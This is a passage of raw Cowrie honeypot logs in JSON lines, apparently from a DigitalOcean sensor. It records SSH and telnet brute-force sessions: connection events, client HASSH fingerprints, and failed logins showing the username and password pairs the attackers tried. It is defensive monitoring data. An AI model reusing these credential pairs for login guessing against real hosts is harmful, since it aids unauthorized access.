2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:04.175210Z","src_ip":"91.92.40.4","session":"f45c0e6ee937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"wasd","message":"login attempt [postgres/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:04.655447Z","src_ip":"91.92.40.4","session":"f45c0e6ee937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:05.738993Z","src_ip":"91.92.40.4","session":"f45c0e6ee937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.14758825302124,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:06.719680Z","src_ip":"170.64.224.25","session":"a47f2c52f401","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60788,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9756fb831a2","protocol":"telnet","message":"New connection: 170.64.224.25:60788 (159.203.135.109:23) [session: a9756fb831a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:09.759140Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59414,"dst_ip":"159.203.135.109","dst_port":23,"session":"51eb9c875ef5","protocol":"telnet","message":"New connection: 170.64.224.25:59414 (159.203.135.109:23) [session: 51eb9c875ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:24.876374Z"}
{"eventid":"cowrie.session.closed","duration":120.00275087356567,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:39.103043Z","src_ip":"170.64.224.25","session":"92d66d50a95f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":57186,"dst_ip":"159.203.135.109","dst_port":22,"session":"d617e65ff191","protocol":"ssh","message":"New connection: 103.27.238.120:57186 (159.203.135.109:22) [session: d617e65ff191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:47.085631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:47.090400Z","src_ip":"103.27.238.120","session":"d617e65ff191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:47.364617Z","src_ip":"103.27.238.120","session":"d617e65ff191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d8578edf8458ce06fbc5bb76a58c5ca4","message":"login attempt [root/d8578edf8458ce06fbc5bb76a58c5ca4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:48.183258Z","src_ip":"103.27.238.120","session":"d617e65ff191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:49.460837Z","src_ip":"103.27.238.120","session":"d617e65ff191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.43133330345154,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:51.190321Z","src_ip":"170.64.224.25","session":"a9756fb831a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43428,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a447e23765","protocol":"telnet","message":"New connection: 170.64.224.25:43428 (159.203.135.109:23) [session: e8a447e23765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:58.652603Z"}
{"eventid":"cowrie.session.closed","duration":99.73030877113342,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:17.760746Z","src_ip":"170.64.224.25","session":"415c2b43598e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.17101335525513,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:20.047247Z","src_ip":"170.64.224.25","session":"51eb9c875ef5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00612902641296,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:35.649794Z","src_ip":"170.64.224.25","session":"291d4cf26138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48666,"dst_ip":"159.203.135.109","dst_port":23,"session":"938341f20320","protocol":"telnet","message":"New connection: 170.64.224.25:48666 (159.203.135.109:23) [session: 938341f20320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:42.194829Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40228,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3bcb1596a6c","protocol":"ssh","message":"New connection: 38.93.206.2:40228 (159.203.135.109:22) [session: f3bcb1596a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:43.598432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:43.604603Z","src_ip":"38.93.206.2","session":"f3bcb1596a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:43.653679Z","src_ip":"38.93.206.2","session":"f3bcb1596a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"funny","message":"login attempt [root/funny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:43.811336Z","src_ip":"38.93.206.2","session":"f3bcb1596a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48668,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5d42ddaadf","protocol":"telnet","message":"New connection: 170.64.224.25:48668 (159.203.135.109:23) [session: 8a5d42ddaadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:44.728225Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:44.864670Z","src_ip":"38.93.206.2","session":"f3bcb1596a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37154,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a810587b0d2","protocol":"telnet","message":"New connection: 170.64.224.25:37154 (159.203.135.109:23) [session: 9a810587b0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:49.645349Z"}
{"eventid":"cowrie.session.closed","duration":59.531184911727905,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:17:58.183684Z","src_ip":"170.64.224.25","session":"e8a447e23765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37088,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc74f5432c9f","protocol":"ssh","message":"New connection: 91.92.40.4:37088 (10.17.0.5:22) [session: cc74f5432c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:00.784103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:00.787948Z","src_ip":"91.92.40.4","session":"cc74f5432c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:00.880821Z","src_ip":"91.92.40.4","session":"cc74f5432c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwerty","message":"login attempt [postgres/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:01.132826Z","src_ip":"91.92.40.4","session":"cc74f5432c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:02.381372Z","src_ip":"91.92.40.4","session":"cc74f5432c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.90122413635254,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:04.095927Z","src_ip":"170.64.224.25","session":"938341f20320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.185644149780273,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:17.830882Z","src_ip":"170.64.224.25","session":"9a810587b0d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"41f7ceaeda67","protocol":"ssh","message":"New connection: 202.61.233.105:44922 (159.203.135.109:22) [session: 41f7ceaeda67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:31.199754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:31.204675Z","src_ip":"202.61.233.105","session":"41f7ceaeda67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:31.296932Z","src_ip":"202.61.233.105","session":"41f7ceaeda67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1g0r@nd$Tr0ng@P@ss","message":"login attempt [root/A1g0r@nd$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:31.575969Z","src_ip":"202.61.233.105","session":"41f7ceaeda67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45744,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a86284266ee","protocol":"telnet","message":"New connection: 170.64.224.25:45744 (159.203.135.109:23) [session: 4a86284266ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:32.084983Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:32.671451Z","src_ip":"202.61.233.105","session":"41f7ceaeda67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45754,"dst_ip":"159.203.135.109","dst_port":23,"session":"408b0388188a","protocol":"telnet","message":"New connection: 170.64.224.25:45754 (159.203.135.109:23) [session: 408b0388188a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:34.457364Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45756,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6b11d2de28c","protocol":"telnet","message":"New connection: 170.64.224.25:45756 (159.203.135.109:23) [session: f6b11d2de28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:35.725085Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":50324,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eae70393676","protocol":"ssh","message":"New connection: 198.1.93.192:50324 (159.203.135.109:22) [session: 7eae70393676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:37.188297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:37.191888Z","src_ip":"198.1.93.192","session":"7eae70393676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:37.280589Z","src_ip":"198.1.93.192","session":"7eae70393676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arbitrumorbit","password":"arbitrumorbit321","message":"login attempt [arbitrumorbit/arbitrumorbit321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:37.548583Z","src_ip":"198.1.93.192","session":"7eae70393676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:38.640402Z","src_ip":"198.1.93.192","session":"7eae70393676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34406,"dst_ip":"159.203.135.109","dst_port":23,"session":"956656788b1c","protocol":"telnet","message":"New connection: 170.64.224.25:34406 (159.203.135.109:23) [session: 956656788b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:18:52.874014Z"}
{"eventid":"cowrie.session.closed","duration":29.842302799224854,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:01.927174Z","src_ip":"170.64.224.25","session":"4a86284266ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.064560651779175,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:11.789551Z","src_ip":"170.64.224.25","session":"f6b11d2de28c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51772,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca8c8a76c27a","protocol":"telnet","message":"New connection: 170.64.224.25:51772 (159.203.135.109:23) [session: ca8c8a76c27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:12.422781Z"}
{"eventid":"cowrie.session.closed","duration":49.26148843765259,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:23.718765Z","src_ip":"170.64.224.25","session":"408b0388188a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":101.2978355884552,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:26.025861Z","src_ip":"170.64.224.25","session":"8a5d42ddaadf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50500,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc1f4204c024","protocol":"telnet","message":"New connection: 170.64.224.25:50500 (159.203.135.109:23) [session: cc1f4204c024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:26.373660Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":53820,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e5ec84abb78","protocol":"ssh","message":"New connection: 143.20.185.207:53820 (159.203.135.109:22) [session: 4e5ec84abb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:43.008624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:43.013513Z","src_ip":"143.20.185.207","session":"4e5ec84abb78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecd